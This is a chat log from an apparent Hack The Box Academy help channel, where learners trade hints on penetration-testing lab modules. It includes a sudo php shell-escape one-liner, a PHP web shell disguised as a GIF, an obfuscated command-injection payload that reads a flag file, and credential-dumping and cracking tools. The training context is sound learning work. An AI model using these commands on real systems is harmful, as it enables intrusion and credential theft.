-rwxr-x--x   1 cry0l1t3 htbteam 0 May  4 22:12 shell
We can then apply read permissions for all users and see the result.

  
cry0l1t3@htb[/htb]$ chmod a+r shell && ls -l shell

-rwxr-xr-x   1 cry0l1t3 htbteam 0 May  4 22:12 shell

shouldnt the other have read permissions after a+r?

[thorn urchin]

wdym other

[surreal marsh]

wat?

[sly dome]

it has

[surreal marsh]

o yeah

[sly dome]

USER-GROUP-OTHERS

[surreal marsh]

yeah yeah

xD

[sly dome]

👌

[surreal marsh]

need a coffee

[sly dome]

the reading issue

[surreal marsh]

thanks @sly dome

[sly dome]

very common around here

(jk)

[high zinc]

(no you're not)

[barren apex]

Attacking Common Applications: Thick Applications - I cant work out how to get the correct address in the decompiler

[covert sierra]

Can anyone help me with "Working with IDS/IPS" -> Skill Assessment - Suricata?
The alarm gets triggered, but I don't know how to find the payload?!

[shrewd hazel]

am i allowed to ask basic questions here for javascript deobfuscation module?

[fathom pendant]

No only complex questions about the meaning life are allowed

[shrewd hazel]

lol

[fathom pendant]

Just ask your question

And provide what you've attempted so far

I literally just breezed through this module the other day

So it's fresh on the brain

[shrewd hazel]

Once you find the JavaScript code, try to run it to see if it does any interesting functions. Did you get something in return?

I was able to locate the js script with curl command

[fathom pendant]

What section is this? The skill assessment?

[shrewd hazel]

used grep to filter for js

skill assessment

[fathom pendant]

OK so you remember how to find the script yeah?

[dull coyote]

hey i am new, where should i get started?

[fathom pendant]

And what the path would be

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[shrewd hazel]

ipaddress/api.min.js

[fathom pendant]

Shbingo

[shrewd hazel]

https://imgur.com/a/uF2aj8n

[dull coyote]

so this a no brainer thing?

[fathom pendant]

Use wget to download it

Or visit the page in browser and copy/paste

[shrewd hazel]

ohhhhh

i have it downloaded now with the wget command

[marsh rapids]

Hello again, still stuck on user4 of Intro to Windows CLI Module - Skills Assessment. I've discovered one cmdlet that allows me to compare 2 files, but after going through the entire module again, I'm not sure how to use the command to compare more than 2 files at the same time.

[fathom pendant]

This one you simply run it, iirc you can run it via nodejs but I used an online compiler

They'll both output the expected flag

[marsh rapids]

Should I use resources outside of the module?

[shrewd hazel]

thank you!

whats iirc?

[fathom pendant]

Iirc is just shorthand for if I recall correctly

[shrewd hazel]

lol, i was think to run it from command line like running a python script "python myscript.py"

[vital adder]

shoot me a dm if you still need help (this is going to be long)

[shrewd hazel]

peffect, got it

[fathom pendant]

You can and you can see the output flag which is funny

[shrewd hazel]

thank you

[fathom pendant]

Now just gotta unpack it :3 which tbh isn't that hard to do

If you wanna continue the cli route just change the last return [variable] to console.log(variable)

[astral roost]

What am i missing or doing wrong?

I have found access as www-data and found out:

User www-data may run the following commands on gettingstarted:
(ALL : ALL) NOPASSWD: /usr/bin/php

So I naturally tried:

www-data@gettingstarted:/$ sudo -u root /usr/bin/php <?php system($_REQUEST["cmd"]); ?>
<oot /usr/bin/php <?php system($_REQUEST["cmd"]); ?>
bash: syntax error near unexpected token `('

[rustic sage]

hey! I'm a little stuck with this excercise. I tried search an exploit using google and with searchsploit, but no luck. The target system is running an apache server. can someone give me a tip or help me in any way? Thanks

[fathom pendant]

Did you do the gtfobins script?

[fathom pendant]

Nmap will get you nowhere as this is running on a public server. You see that its a web server, what's thr next logical step?

(I literally just helped someone earlier with this)

Once you figure the next step, it smacks you right in the face with what to do after that

[astral roost]

I have no clue how to use it. As I am logged in with a www-data account. The modules teached that if it says ALL:ALL no password. I could use that service without needing a sudo password.

[fathom pendant]

In order to take advantage of it, you need to use sudo, also part of your issue is using the <> as bash interprets them as redirects

You should encase the php code in single quotes

[neat sky]

need some help/hint on how to get logrotten onto target system or do i not need to do that at all, module is linux privesc

[fathom pendant]

But also

Gtfobins gives you a simple script to use since you do have sudo rights on the php binary

Well really it's a one-liner

[fathom pendant]

There's many different types of file transfer methods, there's even a whole module dedicated to it

[astral roost]

This was it. Damnit! Thanks a lot!!

I thought that since i said /usr/bin/php it would understand that from that point it was php code

[fathom pendant]

CMD="/bin/sh"
sudo php -r "system('$CMD');"

[rustic sage]

damn. I fount it lol. Thanks!

[rustic sage]

you are right

[fathom pendant]

;)

Usually am when it comes to the basic modules

[fathom pendant]

Nope because you're still running it on the bash shell line

@shrewd hazel ask before you dm me

Lol I don't get notified of message requests so it just hangs out there until I look at dms

[cloud temple]

hjelp

im stuck

on module Information Gathering - Web Edition section Active Subdomain Enumeration 2nd question

this is the command i used

nslookup -type=any -query=AXFR inlanefreight.htb ns.inlanefreight.htb

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
# Others
10.129.201.211 inlanefreight.htb
10.129.201.211 ns.inlanefreight.htb

this is what my hosts file looks like

i counted 19 and i answerd 19 but its wrong

help

[fathom pendant]

Just use the ip instead of ns.inlanefreight.htb

You can also put multiple hosts on one line btw

Just delimited by a space/tab

[cloud temple]

ok

[fathom pendant]

It's dumb but that is how it be

[cloud temple]

i did tha

[fathom pendant]

Also what exactly is the issue you're running into :)

Cause that seems correct to me but it feels off

[cloud temple]

;; XFR size: 22 records (messages 1, bytes 594)

is this the answer?

[fathom pendant]

No

Is this the all A records question?

[cloud temple]

nope

[fathom pendant]

Zone number?

[cloud temple]

• 1 Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer.

yessir

[fathom pendant]

It's lower than you think

[acoustic owl]

Not every subdomain is also a zone

[cloud temple]

how do i know the subdomain im looking at is a zone

[acoustic owl]

Think about what a zone must have.

[cloud temple]

oh my gosh

i am so stupidddddddddd

adsadsaddad

i am so sorry

[fathom pendant]

It's ok

[acoustic owl]

no problem

[fathom pendant]

The module doesn't really do a great job at explaining it tbf

[cloud temple]

lol

what confuses me is that the 2 zones are the same thing

both are inlanefreight.htb.

[fathom pendant]

Because those aren't the 2 zones

:3

[cloud temple]

???

[fathom pendant]

That's one of the zones

[cloud temple]

inlanefreight.htb. root.inlanefreight.htb.

these are the zones?

[fathom pendant]

Nope

[cloud temple]

????

[fathom pendant]

Inlanefreight is

the root.inlanefreight is the mail address

[cloud temple]

ns?

[fathom pendant]

([e-mail])

[umbral fulcrum]

Hey guys I'm in module "Attacking Common Applications" ==>> "WordPress - Discovery & Enumeration"
last Q "Find the version number of this plugin. (i.e., 4.5.2) " ,
I went into the page ||http://wordpress.org/plugins/wp-sitemap-page || but I didn't find any ||readme.txt|| or anything like that ...
can anyone give me a hint please

[cloud temple]

ill have to loguout now so i cant talk, sorry

[fathom pendant]

If you look at the output you can see that it dives into one of the subdomains a but deeper

Which is your other zone in the server

[true cloak]

Isn't there a general

[true cloak]

Nerd

[fathom pendant]

If you read #welcome you can figure out how to find it

[true cloak]

Nah

[fathom pendant]

Also good job on coming into a tech/hacking related server and calling someone a nerd, clever you are

[true cloak]

I didn't call u a nerf what

WHAAAT HOW DID MY MESSAGE GET REPLIED TO YOU

Sorry man

[fathom pendant]

Trust me I don't take shit seriously most of the time here

[true cloak]

Bro today some guy called me and threatened me and all

Then he told me my namr

[fathom pendant]

But on a real note, read #welcome and follow the instructions to gain access to more of the server like #general (it'll say no access)

[true cloak]

And cursed me

What should I do

I live alone

[fathom pendant]

This channel is for discussion of the learning modules found at https://academy.hackthebox.com

[fathom pendant]

Call cops, report the number

¯_(ツ)_/¯

[true cloak]

I did

But he then told my my address

[calm dew]

hi, can someone help me?

[true cloak]

Yo what happen

[fathom pendant]

Again that's unrelated

[acoustic owl]

What is it about?

[fathom pendant]

Just ask your question, be mindful of the #rules

[calm dew]

well, wrong chat sorry

[true cloak]

Huh

[calm dew]

i wanted help with a box but this is not the chat xd

[acoustic owl]

#boxes

[calm dew]

no acces

[fathom pendant]

You'll have to follow instructions in #welcome to access more of the server

[true cloak]

It says no access

[fathom pendant]

I swear people don't fuckin read

[acoustic owl]

Read and follow #welcome

[true cloak]

Ok bro

[fathom pendant]

I've said it multiple times in the last 5 minutes

[acoustic owl]

^

[fathom pendant]

To gain access to the rest of the server, you need to verify your https://app.hackthebox.com account following the instructions in #welcome

[calm dew]

friki

[steel lark]

Hey can anybody help me hack

I am a beggener

And i need to learn>

[acoustic owl]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[calm dew]

well no one is in this server and im so fucking tilted xd ill ask here: the problem is when i press intro ^M appears and i cant execute any fucking command

[steel lark]

Thx

[fathom pendant]

It looks like your shellcode is whack ^M is the equivalent of carriage return (or \r)

Usually inserted with the ctrl-v, ctrl-m

[calm dew]

yeah, i know its wack

the problem is solving it

[umbral fulcrum]

?

[fathom pendant]

Maybe using other tools can help? Haven't done this module myself

[sly dome]

also #boxes

[calm dew]

tu muertos

s

💀

[sly dome]

sorry english channel

[calm dew]

xd

[sly dome]

#rules number 5

[hallow kiln]

they already told you elsewhere that you need to upgrade your shell, this is the wrong channel for this

[sly dome]

<@&861185840277487616> insulting me and i felt very harassed

[urban sage]

👀

[calm dew]

💀

[urban sage]

Looks like they showed themselves out.

[fathom pendant]

Mobile still shows them in the server but I trust

[umbral fulcrum]

thanx, found it (made it harder then it realy is😅 )

[edgy flame]

can anyone help with the skills assessment for command injection?

[fathom pendant]

Someone probably can help

But you'd have to ask your question and provide context of what you've already tried

[sudden blaze]

Hello everyone! Got a questions about lazagne.exe v2.4.5. When i run it:start LaZagne.exe all it suddenly crashes! Whats wrong with it

[fathom pendant]

Thats pretty vague, are you providing any arguments to it?

[sudden blaze]

yes: start LaZagne.exe all

[fathom pendant]

Hears some specific documentation on it https://github.com/AlessandroZ/LaZagne

[edgy flame]

my payload right now is /index.php?to=tmp&from=877915113.txt${IFS}${LS_COLORS:10:1}$(rev<<<'tac')${IFS}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}flag.txt&finish=1&move=1

and the error I am receiving is Error while moving: mv: cannot stat '/var/www/html/files/877915113.txt': No such file or directory<br>mv: cannot stat 'cat': No such file or directory<br>mv: cannot move '../../../flag.txt' to '/var/www/html/files/tmp/flag.txt': P

[sudden blaze]

@fathom pendant thx! Reading docu is helpful 🙂

[rustic sage]

Hello, does someone know why this isnt working?

the cookie is working

[tiny reef]

Finally finished Whitebox Prototype Pollution RCE, this took me sooo long but now I´m proud 😄

[sly dome]

module section?

[sterile epoch]

hi I am confused as to how to use nessus in the academy

they have provided me with the server and the creds but nessus needs gui

should I do ssh?

[sly dome]

its https server is exposed

as pointed out in the text

you connect the vpn and it takes a little to set it up

[sterile epoch]

I am using pwnbox so do I use the browser within pwnbox and then try to access the server from http://10.129.x.x

if so I am getting a unable to connect error

should I add it to hosts?

[glossy wedge]

FILE INCLUSION
LFI and File Uploads
Having some problems with this lab. Im using this command:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
But when trying to upload the gif to te upload button it doesn't work.
Get no output(no outputs nothing)

[sterile epoch]

I can connect to it via ssh but I do not think I can access nessus through it

any idea what am I doing wrong?

I am trying to connect to server using both WebDAV ports but I am getting connection refused

[sly dome]

it is https

[sterile epoch]

tried both from the browser and connect to server option in the file manager

[sly dome]

what?

[sterile epoch]

https://10.129.x.x

[sly dome]

it works on my machine

regenerate the target idk

[sterile epoch]

ok

Unable to connect

An error occurred during a connection to 10.129.202.116.

    The site could be temporarily unavailable or too busy. Try again in a few moments.
    If you are unable to load any pages, check your computer’s network connection.
    If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.

[sly dome]

it takes time

let it deploy the environment xd

[sterile epoch]

just to confirm I have to use firefox in the pwnbox right?

[sly dome]

pwmbox or your own vm

if pwnbox DONT connect openvpn

[sterile epoch]

and then use the url https://10.129.x.x

[sly dome]

yes

[sterile epoch]

ok

its not working

got it

I have to login through 8834 port

[fathom pendant]

Ye

[sly dome]

maybe read

sorry for not telling but i didnt remember the port 🤣

although i did it yesterday

[sterile epoch]

[barren apex]

can anyone give me a hand on Attacking Common Applications: Thick Client:

The exe doesnt' spawn cause powershell seems to be mucked up on the vm, so I configure the exe on my kali machine with the base64 and then i cant find the right bit in memory with the magic bytes

[hybrid prairie]

Hello, I'm currently working on the Windows Priv Esc module, on the Dns Admins page. I've followed all of the steps of uploading the Dll file, using the dnscmd.exe successfully, restarting the DNS server. when i run the "net group "Domain Admins" /dom" command it shows my user as the Administrator of the group. When I then go to access the C:\Users\Administrators folder is tells me access is denied. There are no further instructions on the module. Am I missing a step that is undisclosed?

[fathom pendant]

Log out and log back in

[marsh rapids]

Would anyone be willing to have a chat through DMs? I've posted for assistance here a few times already. A mentor would be cool, but not necessary.

[tiny reef]

Do you have it by now?

[glossy wedge]

not yet. what am i doing wrong?

[fathom pendant]

Trust me, asking questions isn't a bad thing

[tiny reef]

If you dont get an output first check if your proxy intercepted the request, if this is not the issue, turn the proxy ON and - right click -> intercept response to this request

@glossy wedge

[glossy wedge]

alr ill try that thanks

[fathom pendant]

I'm not sure that one is in rockyou give me a sec to verify

Like I said seeing if that password is in rockyou

It's in it

I just checked

And you used the same hashcat mode yeah?

[hybrid prairie]

Ty, this worked. Is this because Access Tokens are only created during a new session?

[fathom pendant]

Yeah I grepped the password in rockyou and it's there

Also you don't need to specify format with john

Maybe your rockyou is slightly different

The one I have is ~14m passwords

If you do wc -l what size is yours, out of curiosity

Huh same size

Try grepping the pw you found in your vm

[sly dome]

do the password have some special character?

ive had problems with original rockyou encoding

which iirc is ASCII

but after transforming it into unicode all worked like a charm

[fathom pendant]

It does not

It's alphanum

[sly dome]

then its not it

hihi

actually weird

lol

[fathom pendant]

I literally just fact checked the question lol and it exists in the thing, and it worked in pwnbox, which is weirder

[sly dome]

does it work for you in local hashcat?

i mean it has to work

lol

[fathom pendant]

It worked for me when I first did it lol

And with john

[sly dome]

yea

[hexed void]

Can anyone DM me for help with this one?

I've managed to locate the flag, well, all 100+ of them, but really need some help refining my results and haven't had luck in the last few days. Hitting my end

[sly dome]

files size

empty = 0 bytes

something inside like a flag > 0 bytes

[mild valve]

Oh my fucking god, how shit is the VPN

[fathom pendant]

Care to elaborate on your expletives?

[mild valve]

Referencing OOB XXE And VPN drops zzz

Just here to complain

[fathom pendant]

Git rekt

[mild valve]

[fathom pendant]

And it's more than likely your connection rather than the vpn, but sometimes vpn regions do shit the bed

[mild valve]

Even pwnbox is sleeping

[fathom pendant]

Well if you're connecting to the vpn AND pwnbox: you're gonna have a bad time

[mild valve]

My fucking god

That was the problem

Thanks @fathom pendant

[fathom pendant]

The technical reason is both the pwnbox and the vpn are assigned the same network ip, so interacting with targets causes collisions where it doesn't know which way to route traffic due to it having 2 machines with the same ip to call back to

[elfin cedar]

Anybody know why I would be getting a NTLMv2 hash back instead of a meterpreter shell in metasploit? Specifically the Windows Server Windows Priv Esc module. I run the command "rundll32.exe \10.10.14.3\lEUZam\test.dll,0" on the target machine like it says to.

[thorn urchin]

what are you using for the handler

cause if you used impacket smbserver to serve up the dll then yeah it records the ntlmv2 hash alongside serving up the file

but thatd be independent of you actually catching the shell

[elfin cedar]

Im just using metasploit for this section. windows/smb/smb_delivery

oh

for the command: "rundll32.exe \10.10.14.23\uCDFZ\test.dll,0", the uCDFZ part is random everytime you run it, I just copied it straight from the module.

in the module its C:\htb> rundll32.exe \10.10.14.3\lEUZam\test.dll,0

[shut wraith]

Hey @thorn urchin can u give me any advice regarding my question? Been brute forcing for 30 minutes with the correct command but no luck. Is my system too shit to brute force fast enough?

[thorn urchin]

shouldnt depend much on your system

command may not actually be correct, I find hydra's fail string stuff to be finnicky

[orchid pine]

guys does anyone has this probleme befor i enabled the Heads Up Display (HUD), and still cannot see theme in my browser

i fixed it

[rustic sage]

Try this (The request must be in JSON format):

curl -X POST http://<IP_Target>:<Port>/search.php -b "PHPSESSID=<Cookie>" -H "Content-Type: application/json" -d '{"search":"flag"}'

[rustic sage]

Hi
https://academy.hackthebox.com/module/80/section/848
I am a rookie and have no idea when doing this skill assessment. Can you give me some detailed tips?

[elfin cedar]

Hello all. Can anyone please ping the Windows Privilege Escalation Skills Assessment - Part I ? I am wondering if its me or something else, the whole module has been fine up to this point. I reset it a few times and rebooted my machine. I have gotten no pings at all.

[glacial dragon]

Hello

In Footprinting lab - medium

I'm connected to the MSSQL studio

And i want to find the user "HTB"

And I've been looking around but couldn't find it

Any idea where can i find it?

[rustic sage]

You have to be a subscribed to do some rooms?

Like the hack the boo

[modern epoch]

Just in case you are still stuck, search by files with the same content as Zone.Identifier. If the file was only renamed its metadata keeps the same content

[elfin cedar]

still down

[naive wadi]

Are you sure it responds to pings? Have you attempted an NMAP scan with the -Pn flag?

[vital adder]

[vital adder]

work just fine for me from the pwnbox

[elfin cedar]

dang

ty for testing it out

[glacial dragon]

?

[vital adder]

this is not thm and if you mean main platform only active machine are free the rest are vip

[elfin cedar]

Ill try again

[naive wadi]

What you done so far?

[vital adder]

if you are login as an admin then hint look into the Databases (the name is Databases)

[elfin cedar]

wow I feel dumb, I thought since it didnt respond to a ping there was something wrong with the box

[rustic sage]

@vital adder I know this is not THM , than is why I ask..

*that is why I ask

[vital adder]

no idea wtf you are asking but either way this channel is for HTB academy modules not for what every you are asking

[naive wadi]

No worries. Windows by default doesn't respond to pings so -Pn is your friend

[naive wadi]

He's not wrong @glacial dragon

[elfin cedar]

Im just so far into the CPTS path, 97%, you'd think I'd know this by now 😭

[naive wadi]

Dude we all have moments like this and they are important as it means you won't do this again for a very long time

[rustic sage]

Mmmmm @vital adder Wtf is out of my question , if you don’t know what I ask ,please don’t respond In a rude form

[elfin cedar]

I wont forget it now, thank you

[vital adder]

I'm twuly sOwOrry, accept my mOwOst sinsewe apOwOgises

[naive wadi]

To be fair your questions wasn't clear, can you ask again in a different way?

[rustic sage]

I just ask if you have to be subscribed to play the hack the boo

[novel matrix]

I’d recommend jumping on the platform and playing around. Both THM and HTB are built differently. Not the place to discuss further as this is academy discussion only

[novel matrix]

No. Create an account and join

[rustic sage]

Ok! That it Than you

[novel matrix]

Np

[rustic sage]

You good @novel matrix

[glacial dragon]

I ran the Studio as administrator, and used the password which i found in user/alex/devshare

But that password is supposed be for the user "sa" right?

Confused

[hallow kiln]

I don't even have notes on that part, just experiment and click around the app

[hallow kiln]

it's just your good 'ol password reuse

[glacial dragon]

I am logged in as administrator

Looked everywhere

Can't find the user HTB

[hallow kiln]

not everywhere if you haven't found it, there's an SQL database with all the users

[naive wadi]

Query the actual db itself

[naive wadi]

Look at the tables

[hallow kiln]

have you opened the databases?

[naive wadi]

• You can view & edit the last 200 entries in a table FYI. You should google that maybe.....

[glacial dragon]

Still can't find it🥲

[rustic sage]

Hi! Where is the general chat?

[glacial dragon]

Just 1 query and problem solved 🥲

[glacial dragon]

Thanks man

[hallow kiln]

read and follow #welcome to access the rest of the server

[rustic sage]

Ok

Nice but I can’t see the #welcome

[novel matrix]

You can as it is on read perms for all. Any other further issues, just take it to #bot-commands

[rustic sage]

Ok

[cloud temple]

WAIT

IS IT ns.inlanefreight.htb?

[naive wadi]

if you gave an indiciation of context and the actual question fully we could help?

[cloud temple]

oh sorry just a question

i just woke up lol

wait lemme give context